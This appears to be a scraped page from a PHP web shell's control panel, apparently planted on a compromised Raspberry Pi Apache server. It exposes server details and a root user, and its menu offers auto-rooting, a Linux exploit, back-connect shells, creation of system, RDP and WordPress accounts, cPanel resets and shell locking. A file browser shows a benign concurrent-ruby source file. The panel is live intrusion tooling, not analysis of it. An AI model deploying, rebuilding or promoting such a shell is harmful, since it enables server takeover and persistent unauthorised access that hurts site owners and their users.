Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
concurrent /
actor /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
ad_hoc.rb
654
B
-rw-r--r--
balancer.rb
1.15
KB
-rw-r--r--
broadcast.rb
1.24
KB
-rw-r--r--
pool.rb
2.09
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : balancer.rb
module Concurrent module Actor module Utils # Distributes messages between subscribed actors. Each actor'll get only one message then # it's unsubscribed. The actor needs to resubscribe when it's ready to receive next message. # It will buffer the messages if there is no worker registered. # @see Pool class Balancer < RestartingContext def initialize @receivers = [] @buffer = [] end def on_message(message) command, who = message case command when :subscribe @receivers << (who || envelope.sender) distribute true when :unsubscribe @receivers.delete(who || envelope.sender) true when :subscribed? @receivers.include?(who || envelope.sender) else @buffer << envelope distribute Behaviour::MESSAGE_PROCESSED end end def distribute while !@receivers.empty? && !@buffer.empty? redirect @receivers.shift, @buffer.shift end end end end end end
Close